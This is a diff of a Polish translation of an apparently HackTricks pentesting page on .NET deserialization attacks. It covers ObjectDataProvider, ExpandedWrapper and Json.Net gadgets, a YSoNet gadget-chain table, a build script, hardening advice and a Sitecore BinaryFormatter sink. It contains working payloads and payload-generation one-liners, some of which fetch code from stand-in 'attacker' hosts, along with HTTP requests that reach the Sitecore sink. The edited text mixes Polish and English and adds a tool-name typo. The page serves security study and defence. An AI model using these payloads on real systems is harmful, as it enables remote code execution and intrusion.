-Zauważ, że to nie jest pełny kod funkcji `QueryWorker`, ale pokazuje interesującą część: Kod **wywołuje `this.InvokeMethodOnInstance(out ex);`** to jest linia, w której **ustawiona metoda jest wywoływana**. +To nie jest pełny kod funkcji `QueryWorker`, ale pokazuje jej interesującą część: kod **wywołuje `this.InvokeMethodOnInstance(out ex);`** — to jest linia, w której **wywoływana jest ustawiona metoda**. -Jeśli chcesz sprawdzić, że wystarczy ustawić _**MethodName**_, **zostanie ona wykonana**, możesz uruchomić ten kod: +Jeśli chcesz sprawdzić, że samo ustawienie _**MethodName**_ spowoduje jego wykonanie, możesz uruchomić ten kod: ```java using System.Windows.Data; using System.Diagnostics; @@ -52,14 +52,14 @@ myODP.MethodName = "Start"; } } ``` -Zauważ, że musisz dodać jako odniesienie _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_, aby załadować `System.Windows.Data` +Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ in order to load `System.Windows.Data` ## ExpandedWrapper -Korzystając z poprzedniego exploita, będą przypadki, w których **obiekt** będzie **deserializowany jako** instancja _**ObjectDataProvider**_ (na przykład w przypadku podatności DotNetNuke, używając XmlSerializer, obiekt został deserializowany przy użyciu `GetType`). Wtedy **nie będziemy mieli wiedzy o typie obiektu, który jest opakowany** w instancji _ObjectDataProvider_ (na przykład `Process`). Możesz znaleźć więcej [informacji o podatności DotNetNuke tutaj](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1). +Używając poprzedniego exploita będą przypadki, w których **obiekt** zostanie **zdeserializowany jako** instancja _**ObjectDataProvider**_ (na przykład w DotNetNuke vuln, używając XmlSerializer obiekt został zdeserializowany za pomocą `GetType`). W takim wypadku nie będzie **wiedzy o typie obiektu, który jest opakowany** w instancji _ObjectDataProvider_ (na przykład `Process`). Możesz znaleźć więcej [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1). -Ta klasa pozwala **określić typy obiektów obiektów, które są enkapsulowane** w danej instancji. Tak więc, ta klasa może być używana do enkapsulowania obiektu źródłowego (_ObjectDataProvider_) w nowy typ obiektu i dostarczenia potrzebnych właściwości (_ObjectDataProvider.MethodName_ i _ObjectDataProvider.MethodParameters_).\ -Jest to bardzo przydatne w przypadkach takich jak ten przedstawiony wcześniej, ponieważ będziemy mogli **opakować \_ObjectDataProvider**_** wewnątrz instancji **_**ExpandedWrapper** \_ i **po deserializacji** ta klasa **utworzy** obiekt _**OjectDataProvider**_, który **wykona** **funkcję** wskazaną w _**MethodName**_. +Ta klasa pozwala **określić typy obiektów, które są enkapsulowane** w danej instancji. Dlatego ta klasa może być użyta do opakowania obiektu źródłowego (_ObjectDataProvider_) w nowy typ obiektu i udostępnienia właściwości, których potrzebujemy (_ObjectDataProvider.MethodName_ oraz _ObjectDataProvider.MethodParameters_).\ +Jest to bardzo przydatne w przypadkach opisanych wcześniej, ponieważ będziemy mogli **opakować _ObjectDataProvider_ wewnątrz instancji _ExpandedWrapper_** i **po zdeserializowaniu** ta klasa **utworzy** obiekt _**ObjectDataProvider**_, który **wykona** funkcję wskazaną w _**MethodName**_. Możesz sprawdzić ten wrapper za pomocą następującego kodu: ```java @@ -85,11 +85,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start"; ``` ## Json.Net -Na [oficjalnej stronie](https://www.newtonsoft.com/json) wskazano, że ta biblioteka pozwala na **serializację i deserializację dowolnego obiektu .NET za pomocą potężnego serializatora JSON Json.NET**. Więc, jeśli moglibyśmy **zdeserializować gadżet ObjectDataProvider**, moglibyśmy spowodować **RCE** po prostu deserializując obiekt. +Na [official web page](https://www.newtonsoft.com/json) jest napisane, że ta biblioteka umożliwia **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. Zatem, jeśli moglibyśmy **deserialize the ObjectDataProvider gadget**, moglibyśmy spowodować **RCE** po prostu deserialize obiektu. ### Przykład Json.Net -Przede wszystkim zobaczmy przykład, jak **serializować/zdeserializować** obiekt przy użyciu tej biblioteki: +Najpierw zobaczmy przykład, jak za pomocą tej biblioteki **serialize/deserialize** obiekt: ```java using System; using Newtonsoft.Json; @@ -136,7 +136,7 @@ Console.WriteLine(desaccount.Email); Używając [ysoserial.net](https://github.com/pwntester/ysoserial.net) stworzyłem exploit: ```java -ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe" +yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe" { '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 'MethodName':'Start', @@ -147,7 +147,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe" 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} } ``` -W tym kodzie możesz **przetestować exploit**, po prostu go uruchom, a zobaczysz, że kalkulator zostanie uruchomiony: +W tym kodzie możesz **przetestować exploit**, po prostu uruchom go i zobaczysz, że calc zostanie uruchomiony: ```java using System; using System.Text; @@ -184,27 +184,27 @@ TypeNameHandling = TypeNameHandling.Auto } } ``` -## Zaawansowane łańcuchy gadżetów .NET (YSoNet i ysoserial.net) +## Advanced .NET Gadget Chains (YSoNet & ysoserial.net) -Technika ObjectDataProvider + ExpandedWrapper wprowadzona powyżej to tylko jeden z WIELU łańcuchów gadżetów, które można wykorzystać, gdy aplikacja wykonuje **niebezpieczną deserializację .NET**. Nowoczesne narzędzia red-teamowe, takie jak **[YSoNet](https://github.com/irsdl/ysonet)** (oraz starsze [ysoserial.net](https://github.com/pwntester/ysoserial.net)), automatyzują tworzenie **gotowych do użycia złośliwych grafów obiektów** dla dziesiątek gadżetów i formatów serializacji. +Technika ObjectDataProvider + ExpandedWrapper opisana powyżej to tylko jeden z WIELU gadget chainów, które można wykorzystać, gdy aplikacja wykonuje **niebezpieczną deserializację .NET**. Nowoczesne narzędzia red-teamowe, takie jak **[YSoNet](https://github.com/irsdl/ysonet)** (i starszy [ysoserial.net](https://github.com/pwntester/ysoserial.net)), automatyzują tworzenie **gotowych do użycia złośliwych grafów obiektów** dla dziesiątek gadgetów i formatów serializacji. -Poniżej znajduje się skondensowana referencja najprzydatniejszych łańcuchów dostarczonych z *YSoNet* wraz z krótkim wyjaśnieniem, jak działają oraz przykładowymi poleceniami do generowania ładunków. +Poniżej znajduje się skondensowany zbiór najprzydatniejszych chainów dostarczanych z *YSoNet* wraz z krótkim objaśnieniem ich działania i przykładowymi poleceniami do generowania payloadów. -| Łańcuch Gadżetów | Kluczowa Idea / Primitiv | Powszechne Serializatory | YSoNet one-liner | -|-------------------|--------------------------|--------------------------|-------------------| -| **TypeConfuseDelegate** | Korumpuje rekord `DelegateSerializationHolder`, tak że po zmaterializowaniu delegat wskazuje na *dowolną* metodę dostarczoną przez atakującego (np. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` | -| **ActivitySurrogateSelector** | Wykorzystuje `System.Workflow.ComponentModel.ActivitySurrogateSelector`, aby *obejść filtrowanie typów .NET ≥4.8* i bezpośrednio wywołać **konstruktor** dostarczonej klasy lub **skompilować** plik C# w locie | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` | -| **DataSetOldBehaviour** | Wykorzystuje **dziedziczną reprezentację XML** `System.Data.DataSet`, aby zainstancjonować dowolne typy, wypełniając pola `` / `` (opcjonalnie fałszując assembly za pomocą `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "…" --spoofedAssembly mscorlib > payload.xml` | -| **GetterCompilerResults** | W środowiskach z obsługą WPF (> .NET 5) łączy gettery właściwości, aż dotrze do `System.CodeDom.Compiler.CompilerResults`, a następnie *kompiluje* lub *ładowa* DLL dostarczoną z `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` | -| **ObjectDataProvider** (przegląd) | Używa WPF `System.Windows.Data.ObjectDataProvider`, aby wywołać dowolną statyczną metodę z kontrolowanymi argumentami. YSoNet dodaje wygodną wersję `--xamlurl`, aby hostować złośliwy XAML zdalnie | `BinaryFormatter`, `Json.NET`, `XAML`, *itd.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` | -| **PSObject (CVE-2017-8565)** | Osadza `ScriptBlock` w `System.Management.Automation.PSObject`, który wykonuje się, gdy PowerShell deserializuje obiekt | Zdalne wywołanie PowerShell, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` | +| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner | +|--------------|----------------------|--------------------|------------------| +| **TypeConfuseDelegate** | Uszkadza rekord `DelegateSerializationHolder`, tak że po zmaterializowaniu delegat wskazuje na *dowolną* metodę dostarczoną przez atakującego (np. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` | +| **ActivitySurrogateSelector** | Wykorzystuje `System.Workflow.ComponentModel.ActivitySurrogateSelector`, aby *obejść filtrowanie typów .NET ≥4.8* i bezpośrednio wywołać **konstruktor** podanej klasy lub **skomplilować** plik C# w locie | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` | +| **DataSetOldBehaviour** | Wykorzystuje **stare XML-owe** przedstawienie `System.Data.DataSet`, aby zainstalować dowolne typy poprzez wypełnienie pól `` / `` (opcjonalnie podrabiając assembly za pomocą `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "…" --spoofedAssembly mscorlib > payload.xml` | +| **GetterCompilerResults** | Na runtime z WPF (> .NET 5) łączy gettery właściwości, aż osiągnie `System.CodeDom.Compiler.CompilerResults`, po czym *kompiluje* lub *ładuje* DLL dostarczone za pomocą `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` | +| **ObjectDataProvider** (review) | Używa WPF `System.Windows.Data.ObjectDataProvider` do wywołania dowolnej metody statycznej z kontrolowanymi argumentami. YSoNet dodaje wygodny wariant `--xamlurl` do hostowania złośliwego XAML zdalnie | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` | +| **PSObject (CVE-2017-8565)** | Osadza `ScriptBlock` w `System.Management.Automation.PSObject`, który wykonuje się podczas deserializacji obiektu przez PowerShell | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` | > [!TIP] -> Wszystkie ładunki są **domyślnie zapisywane do *stdout***, co ułatwia ich przesyłanie do innych narzędzi (np. generatorów ViewState, kodowników base64, klientów HTTP). +> Wszystkie payloady są domyślnie **zapisane do *stdout***, co ułatwia przekierowanie ich do innych narzędzi (np. generatorów ViewState, enkoderów base64, klientów HTTP). -### Budowanie / Instalowanie YSoNet +### Building / Installing YSoNet -Jeśli nie ma dostępnych skompilowanych binarek w *Actions ➜ Artifacts* / *Releases*, poniższy **PowerShell** one-liner skonfiguruje środowisko budowy, sklonuje repozytorium i skompiluje wszystko w trybie *Release*: +Jeśli nie ma dostępnych prekompilowanych binariów w *Actions ➜ Artifacts* / *Releases*, poniższy jednolinijkowy skrypt **PowerShell** przygotuje środowisko builda, sklonuje repozytorium i skompiluje wszystko w trybie *Release*: ```powershell Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; @@ -216,17 +216,48 @@ cd ysonet nuget restore ysonet.sln msbuild ysonet.sln -p:Configuration=Release ``` -Skonstruowany `ysonet.exe` można znaleźć w `ysonet/bin/Release/`. +Skompilowany `ysonet.exe` można znaleźć pod `ysonet/bin/Release/`. -### Wykrywanie i wzmacnianie -* **Wykryj** nieoczekiwane procesy potomne `w3wp.exe`, `PowerShell.exe` lub jakikolwiek proces deserializujący dane dostarczone przez użytkownika (np. `MessagePack`, `Json.NET`). -* Włącz i **wymuszaj filtrowanie typów** (`TypeFilterLevel` = *Full*, niestandardowy `SurrogateSelector`, `SerializationBinder`, *itd.*) zawsze, gdy przestarzały `BinaryFormatter` / `NetDataContractSerializer` nie może być usunięty. -* Gdzie to możliwe, migruj do **`System.Text.Json`** lub **`DataContractJsonSerializer`** z konwerterami opartymi na białej liście. -* Zablokuj niebezpieczne zestawy WPF (`PresentationFramework`, `System.Workflow.*`) przed ładowaniem w procesach webowych, które nigdy ich nie potrzebują. +### Wykrywanie i wzmacnianie zabezpieczeń +* **Wykrywaj** nieoczekiwane procesy potomne `w3wp.exe`, `PowerShell.exe` lub dowolnego procesu deserializującego dane dostarczone przez użytkownika (np. `MessagePack`, `Json.NET`). +* Włącz i **wymuś filtrowanie typów** (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*) gdy nie można usunąć przestarzałego `BinaryFormatter` / `NetDataContractSerializer`. +* Tam, gdzie to możliwe, przejdź na **`System.Text.Json`** lub **`DataContractJsonSerializer`** z konwerterami opartymi na białej liście. +* Zablokuj ładowanie niebezpiecznych bibliotek WPF (`PresentationFramework`, `System.Workflow.*`) w procesach webowych, które nie powinny ich potrzebować. -## Odniesienia -- [YSoNet – generator ładunków deserializacji .NET](https://github.com/irsdl/ysonet) -- [ysoserial.net – oryginalne narzędzie PoC](https://github.com/pwntester/ysoserial.net) +## Przykład z rzeczywistego świata: Sitecore convertToRuntimeHtml → BinaryFormatter + +Praktyczny .NET sink osiągalny w uwierzytelnionych przepływach Sitecore XP Content Editor: + +- Sink API: `Sitecore.Convert.Base64ToObject(string)` wywołuje `new BinaryFormatter().Deserialize(...)`. +- Ścieżka wyzwalająca: pipeline `convertToRuntimeHtml` → `ConvertWebControls`, który wyszukuje element siostrzany z `id="{iframeId}_inner"` i odczytuje atrybut `value`, traktowany jako base64‑zakodowane zserializowane dane. Wynik jest rzutowany na string i wstawiany do HTML. + +Minimalny end‑to‑end (uwierzytelniony): +``` +// Load HTML into EditHtml session +POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx +Content-Type: application/x-www-form-urlencoded + +__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html= + + + + + +// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization +GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=... +``` +- Gadget: dowolny BinaryFormatter chain zwracający string (side‑effects run during deserialization). Zobacz YSoNet/ysoserial.net, aby wygenerować payloady. + +Dla pełnego łańcucha, który zaczyna się pre‑auth od HTML cache poisoning w Sitecore i prowadzi do tego sink: + +{{#ref}} +../../network-services-pentesting/pentesting-web/sitecore/README.md +{{#endref}} + +## Źródła +- [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet) +- [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net) - [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565) +- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/) {{#include ../../banners/hacktricks-training.md}}